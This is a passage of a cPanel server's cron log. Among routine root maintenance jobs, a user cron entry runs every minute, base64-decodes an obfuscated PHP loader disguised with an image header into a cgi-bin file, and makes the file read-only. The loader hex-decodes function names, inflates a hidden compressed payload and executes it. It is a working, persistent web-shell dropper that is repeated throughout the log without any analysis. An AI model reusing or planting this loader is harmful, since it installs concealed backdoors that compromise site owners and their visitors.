&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:55:01 server CROND[22080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:55:01 server CROND[22081]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:56:01 server CROND[22949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:57:01 server CROND[23763]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 07:57:01 server CROND[23764]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:58:01 server CROND[24589]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:59:01 server CROND[25395]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:00:01 server CROND[26279]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 08:00:01 server CROND[26280]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:00:01 server CROND[26284]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Nov 11 08:00:01 server CROND[26286]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 08:00:01 server CROND[26288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:00:01 server CROND[26285]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:01:01 server CROND[27191]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 08:01:01 server CROND[27192]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:01:01 server run-parts(/etc/cron.hourly)[27191]: starting 0anacron
Nov 11 08:01:01 server run-parts(/etc/cron.hourly)[27205]: finished 0anacron
Nov 11 08:02:01 server CROND[27953]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:03:01 server CROND[28845]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:04:01 server CROND[29684]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:05:01 server CROND[30555]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 11 08:05:01 server CROND[30556]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:05:01 server CROND[30559]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:05:01 server CROND[30560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:05:01 server CROND[30558]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 08:06:01 server CROND[31727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:07:01 server CROND[32575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
